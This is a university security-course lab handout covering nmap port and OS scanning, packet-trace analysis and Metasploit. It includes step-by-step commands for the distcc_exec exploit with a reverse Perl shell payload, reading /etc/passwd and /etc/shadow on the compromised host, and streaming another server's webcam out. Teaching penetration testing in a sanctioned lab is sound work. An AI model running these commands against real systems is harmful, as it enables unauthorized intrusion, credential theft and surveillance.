CMSC 355
Lab 3: Network Tools and Penetration Testing
Due: Oct 5th, 2021 by 11:59:59pm

DISCLAIMER (READ THIS PLEASE!!!!!)

In this lab, we will be performing attacks against some of the systems in the lab. We are going to use some penetration testing tools that automate much of this process, but are very powerful and easy to abuse. I am giving you just enough information to be dangerous and not enough information to hide your tracks or avoid detection.

***DO NOT** use these outside the lab or against any system other than those I specify in these instructions. Not only could you cause damage, but in some cases, it could violate federal law or campus policy. I am trusting to your honor to be careful in how you use the software I have installed.*

Please do not use it to do anything that I don't explicitly require in this lab. Keep in mind that violating campus policy can lead to revocation of your lab account and/or a hearing with Conduct Board (or Honor Board as appropriate).

That said, if you follow the instructions below, you should be fine. In short: be smart, be careful, and don't do anything you know you shouldn't do.

Introduction

In the password cracking lab, we saw that breaking into a specific account (such as the root account) is usually hard, but breaking into -some- account on a system is often relatively easy. The more users a system has the easier it is to find one with a weak password.

This means that attacks that rely solely on password guessing have limited utility in and of themselves. However – if by gaining access to one account, the attacker can find a way to trick the system into giving them administrative rights, they can take over pretty much the whole system.

In fact, since they can now access the shadow file (/etc/shadow), they can use john the ripper, rainbow crack, or hashcat, to (eventually) get ALL the passwords. This is called “privilege escalation” and it typically relies on flaws in the design, configuration, or deployment of software to circumvent security checks.

These same security flaws can also be used to grant access without guessing the password. This is especially true for network-facing services such as web applications and databases. When software that connects to the service sends unexpected or malicious input to the network service, it can sometimes crash, misbehave, or even grant shell access to an intruder.

No matter how good your security precautions, how cleverly designed your program, or how carefully you've implemented checks, there is a good chance that in locking down your system you will miss a serious vulnerability. That is because the attacker only has to find ONE hole, while we have to find and patch ALL the security holes.

This means that even after you have set up a rigorous authentication and authorization system, patched your system to the latest versions of the software, recompiled your code with canaries, turned on the XD/NX bit, and turned off all the processes you don't need, and done pretty much everything else we've talked about in class – you still need to do one last thing: TEST, TEST, TEST!

In your programming classes, you probably learned the importance of unit testing and perhaps integration testing, stress testing, or functional testing. These ideas also apply to security testing. It's important not only to test each component of your system for security holes, but also to test the system as a whole and the connections between components.

One way to carry out a comprehensive test of a system is to perform *penetration testing* (often abbreviated as "pentesting"). Penetration testing means trying lots of different techniques to break into a system in an attempt to uncover any remaining security holes. There are lots of different tools that can automate penetration testing so that we can check many possible threats in as short a period of time as possible.

Typically penetration tests are carried out by members of a **red team** who are specifically trained to find vulnerabilities in a system – usually without interfering with the proper functioning of that system. Following a penetration test, the red team generates a report which is passed to the **blue team** – a group of security experts responsible for patching discovered vulnerabilities and hardening systems to prevent or mitigate attacks. This process is iterative with the blue team constantly improving the security of the system while the red team tests their changes to find new vulnerabilities.

There are many penetration testing tools. Often these are packaged into larger frameworks that automate many pentesting tasks. We can't cover them all, but we will looking at a few tools a system administrator for manual testing and two of the most popular frameworks for automated testing: nmap and metasploit.

The "nmap" tool is primarily used for scanning hosts on a network to collect information about what services they provide, which operating systems and installed software they run, and which network ports are open, closed, or blocked by a firewall. This can be very useful for diagnosing network problems, but is also useful for identifying potentially vulnerable systems and services.

Metasploit is a tool that contains an enormous database of known vulnerabilities and scripts for exploiting them. Some of these vulnerabilities are buffer overflows. Some take advantage of logic or design errors. Others use some other weakness in a server or its configuration. Metasploit automates the process of finding and executing these attacks, allowing almost anyone to penetrate a vulnerable system with a minimum of skill.

Step 1. Getting Started

Make a folder named Lab3. We will be using Unix redirection commands to create several output files in that folder. You will turn in a tarball of your entire Lab3 folder, which will contain those output files.

Step 2. Using "nmap"

One tool a system administrator uses is a "port scanner". Port scanners are often used simply to diagnose network problems, but they can also be used to identify hosts that might be vulnerable to attack over the network.

Every host on a network has an address that uniquely identifies it on that network. On TCP/IP networks, that number is usually the host's IP address. To connect to a particular service provided by the host, a client application such as a web browser must specify both an address and a port number. The port number identifies the particular program or service on that host the client wants to use.

The most commonly used network services (such as the world wide web, instant messaging protocols, SSH, e-mail retrieval, and FTP) are all associated with *well known port numbers* that are the same on every system and network. For example, HTTP (the protocol which transports web pages) uses port 80. SSH typically uses port 22.

A port scanner is a program that tries to connect to each of the possible ports on a network device in order to produce a list of ports that are open (i.e. can be connected to) on that device. Sophisticated port scanners such as “nmap” can use the list of open ports (and a few other quick and dirty checks) to make a fairly accurate guess about what kind of device (server, router, workstation?) they are accessing and which operating system version that device is running.

Since every open port is a potential means by which an attacker can gain access to your system, it is important not to have ports open that you don't really need (this is the principle “minimize the attack surface”). Using “nmap” can be a great way to identify open ports that should be closed (or at least filtered by a firewall so that they aren't accessible from the outside world).

Log into one of the machines and type “nmap torvalds”. You should see a list of the network services torvalds is currently providing.

Torvalds is one of the servers for the Advanced Computing lab. Some of the services it is running are an HTTP server, an SSH server, and an SMTP server (an e-mail server). These services (and others) should show up in the list you just created.

Let's get a little more information out of nmap. Running nmap with the “-v” flag will make it verbose. Run:

```
nmap -v torvalds > port_scan.out
```

If you open up the port_scan.out file to see what you have discovered (perhaps by typing “more port_scan.out”), you should see much of the same information you saw before, but with more detail. In particular, you should see the port numbers of the open ports, not just the service names, and you should see some timing information about how long it took to find the list of ports.

Now, repeat the process, but instead of using torvalds, scan the ports on shannon (which has IP address 192.168.50.112). ***To get it to work correctly, you may need to specify some additional flags – pay very careful attention to the output of the nmap command. When you have figured out the correct command, pipe the output to a file named “port_scan.shannon”.***

Step 3. Network Scanning

Let's ask nmap to figure out which hosts on the teaching lab are currently up and running. We can do this by telling it to scan the entire 192.168.50.0/24 subnet. Type:

```
nmap –sn 192.168.50.0/24
```

The “-sn” flag tells nmap to only ping those hosts to see whether they are online, but not to do a full port scan. You should obtain a list of most of the systems in the lab.

Run the command a second time, but pipe the output to the file “net_scan.out”

Step 4. OS Identification

Let's ask nmap to try to identify the operating system running on torvalds. Because you don't have root access, there are some tests that nmap simply can't run (it doesn't have permissions to create “raw” packets). This means it won't be able to give us as detailed a report as usual about which operating system is running. Still, it should be able to get some information.

The next step will produce a lot of information which will probably cause your screen to scroll. You should probably “maximize” your window to make it as big as possible before running it.

Type:

```
nmap -A torvalds
```

You should see that after scanning all the ports on the server and doing some analysis, it detects that torvalds is running “Linux”. It should also show you the versions of some of the servers running on torvalds.

Run the command again, but against the system called “shannon”. Pipe the output to the file “os_detect.shannon”.

Step 5. Using tcpdump

While “nmap” tells you which ports are open, it doesn't tell you what information is being transmitted across those ports. Packet sniffing tools, such as “tcpdump” can copy all the information in EVERY packet that crosses a network and display it on your screen (or dump it to a file). Seeing the sequence of network packets that a host exchanges with its peers is an important way to diagnose problems with a server.

It can also be a useful security technique. Attackers can use packet sniffers to try to gain access to sensitive material (such as improperly protected/encrypted passwords). System administrators can use sniffers to try to detect unusual behaviors or to discover poorly configured network services that could pose a security threat.

Since you don't have root access on the machines in the lab, you can't run tcpdump in real time (it requires root access to put the network card into “passive mode”). Fortunately, one way to use tcpdump is to have it record all the network traffic over a period of time and save it to a file. This file is called a “trace”. You can then “play back” the trace in tcpdump to simulate the network activity that happened during the capture.

I have created such a trace and named it “capture.trace”. You can download it from the lab website using this command:

```
wget http://torvalds.cs.longwood.edu/~robert/capture.trace
```

Then you can play it back using:

```
/usr/sbin/tcpdump -r capture.trace
```

The file is very large, so it is very difficult to see what is going on. In fact, the output is in some ways both too detailed and not detailed enough. It is too detailed in the sense that it lists every packet seen by tcpdump when we're probably only interested in some of those packets. It is not detailed enough, though, because it only tells us information about the packet header: things like what kind of packet was sent, what time it was sent, which host it was sent from and which host it was sent to (okay, and some useful IP protocol flags that probably seem meaningless to you). It doesn't show the actual data in the packet.

Complicating this is the fact that many network protocols use cryptic signals or binary formats to encode each packet and the fact that network packets can be fragmented into smaller pieces for delivery through the network.

We can make the data more useful by:

1. Filtering out everything but the packets we are interested in.

2. Making the output more verbose. We can use something called "protocol decode" that tcpdump provides, which can interpret a lot of those special binary signals the various network protocols are using.

Let's start by looking only at HTTP packets (as you probably know, HTTP is the protocol used for accessing web pages). Type:

```
/usr/sbin/tcpdump -r capture.trace port 80
```

The "port 80" arguments will add a filter to the tcpdump output so that only HTTP packets will be displayed (HTTP is almost always on port 80).

To get more verbose output, add the "-A -vv" flag to the tcpdump command line. Pipe the result to a file named "tcpdump.output". This tells tcpdump to display some of the content of the packet (in ASCII) as well as to do a full protocol decode.

An alternative to tcpdump is "Wireshark". Wireshark provides a nice graphical interface which allows you to more easily filter out the traffic in which you are interested.

Type:

wireshark capture.trace

Create a file named "questions.txt" and put the answers to the following two questions into it:

1. Which web sites did Dr. Marmorstein visit while he was capturing the trace?

(Hint: Look for http GET requests. Search through the tcpdump output for lines that start with "Host:" or use wireshark to pick the GET request apart)

2. One web site was Google. Can you tell what term I searched for?

Hints: In Wireshark, try using "http" as a filter (then click Apply). Also, try using Statistics→Conversation List and see if you can "Follow Stream" each web session (web sessions use TCP port 80).

Step 6. Vulnerability scanning

nmap and tcpdump are great tools for network debugging that can also be useful for security testing. However, to do a fully comprehensive penetration test, we need a tool designed specifically for that purpose. Metasploit is an open source penetration testing tool produced by Rapid7 which many system administrators (and many attackers!) use to find flaws in software.

I have installed metasploit in the lab. Please be careful how you use it.
Run the command:

```
msfconsole
```

If it asks you any questions, answer “yes”.

This will bring up the metasploit command line console (metasploit also has a nice GUI and a web interface, but they aren't open source – you have to pay for them). It can be very slow to load the first few times, so be patient.

To list all the available exploits (I have a fairly minimal set installed right now), type:

```
show exploits
```

This will produce a listing which shows the various exploits available. You can also type:

```
search exploit/windows/
```

and

```
search exploit/linux/
```

To get lists of exploits for a particular operating system.

Add an answer to the following question to your “questions.txt” file:

3. Are there more Windows exploits or more Linux exploits?

Hint: You can tell metasploit to start saving output to a file by typing:

spool filename.txt

Any commands you type after that will be logged both to the screen and to "filename.txt". You can turn off spooling with the "spool off" command.

We are going to try to use the exploit called “unix/misc/distcc_exec”. I have installed a (very old) vulnerable version of the distcc server on “stroustrup” (distcc is a distributed compilation program). The server is running as user “nobody” so the exploit we are going to do isn't going to give us root privileges – just “nobody” privileges. Still, since you don't have a password for the “nobody” account, this is real hacking.

First we should tell metasploit that this is the exploit we intend to use. Type:

```
use unix/misc/distcc_exec
```

and hit enter.

You can now type just “info” and hit enter. Since we've already selected an exploit, metasploit doesn't need us to specify it explicitly any more.

The info list gives us some general background about the exploit and also lists configuration variables that need to be set for the exploit to work. Some of them are auto-filled for us, but some are missing. Now that we've chosen the exploit, we need to fill in those missing variables.

The RPORT variable has already been set for you, but you need to set the RHOSTS value. The remote host (RHOST) is the system we want to try to exploit. In this case, it's stroustrup. Type:

```
set RHOSTS stroustrup
```

and hit enter.

Now the exploit is almost ready to go. Before we can run it, we must tell metasploit what to do once it has successfully compromised the system. We do this by setting a payload. To see the available payloads, type:

```
show payloads
```

Metasploit is smart and will only show the payloads that are appropriate for the current exploit.

We are going to use the “cmd/unix/reverse_perl” payload. You can type:

```
info cmd/unix/reverse_perl
```

to get more information about the payload. Notice that this is going to give us an interactive perl shell (sort of like a terminal).

To set the payload, type:

```
set payload cmd/unix/reverse_perl
```

and hit enter.

Now we need to set variables for the payload. Type:

```
setg LHOST 192.168.50.112
```

The localhost (LHOST) is the system we are currently on. The IP address for shannon is 192.168.50.112, **but if you are on a different system you will need to change the IP address to match**. You can see your system’s IP address by typing “ip addr” in a separate window. Look for the word “inet” under “eno1” or “eth0” or “br0”.

Metasploit is going to run a server on this IP address that the exploited system will connect to one we’ve triggered the bug.

Instead of us logging into the remote host, the remote host will log into OUR machine and give us access to itself. That is why this is called a "reverse" payload. (Using a reverse payload avoids problems with firewalls, since firewalls are usually configured to only block incoming traffic, not outgoing traffic).

We can then forward commands to the perl script running on the LHOST which will be executed on the exploited RHOST.

Okay. You're ready to run your exploit. Type:

```
exploit
```

And hit enter. You will get an information message and then something that says, "Command Shell 1 opened". You should now be able to type commands like "ls" and have pretty much full access to the system (as the "nobody user" so you won't be able to delete anyone's files or anything like that). You won't get a prompt or anything – you just start typing!

Type "cat /etc/passwd" and see if it works.

Try "cat /etc/shadow". Did it work?

Add an answer to the following question to your "questions.txt" file:

4. What happened when you typed "cat /etc/passwd"? What happened when you typed "cat /etc/shadow"? How do you explain this behavior?

Now type "touch */var/lib/nobody/lastname",* replacing *lastname* with your **real last name (NOT your username)**. This will create an empty file on stroustrup – as the "nobody" user – that I can check to see that you have successfully completed the exploit.

When you are done, hit CTRL-C to exit the shell (you may need to answer yes to a prompt about aborting your session) and then type "quit" to exit metasploit.

Step 7. Payloads (This step cannot be done remotely, but MUST be done in the lab)

Let's make this a bit more interesting. On the "gandalf" server, I've set up a webcam in the server room and pointed it at the server room door. I have written a 'secret message' on the back of the room number sign on that door.

I've also created an account on that server that is running the vulnerable distcc server.

Use what you learned in step 6 to break into the user account on gandalf that is running distcc and run the following command:

```
gst-launch-1.0 v4l2src ! rtpjpegpay ! rtpstreampay ! tcpserversink host=192.168.50.2 port=5100
```

This command reads from the "Video4Linux2" device (the webcam) and sends the output to a filter that transforms the stream of bytes it receives into a sequence of JPEG payloads. These payloads are then filtered into an RTP (realtime media) stream payload and send to a TCP server running on gandalf's internal IP address on port 5100.

Now open up a separate terminal window on your lab machine and type:

```
gst-launch-1.0 tcpclientsrc host=192.168.50.2 port=5100 ! application/x-rtp-
stream,encoding-name=JPEG ! rtpstreamdepay ! rtpjpegdepay ! jpegdec ! autovideosink
```

Note: The spacing, spelling, punctuation, and capitalization are absolutely critical here.

This command opens up a TCP client that connects to the streaming server on gandalf. It then decodes the RTP stream packets into a JPEG stream, decodes the JPEG stream into a video stream and sends that video stream to a video player.

Wait a few seconds and a window should pop up showing you the inside of the server room. When it appears, answer the following question in your questions.txt:

5. What phrase is written on the back of the server room door?

Submitting

Make sure you have answered all the questions and put them in a file named “questions.txt” in your Lab3 folder. Then, make a tarball of your entire Lab3 folder:

```
cd ..
tar czvf Lab3.tar.gz Lab3
```

and upload it to the course web site.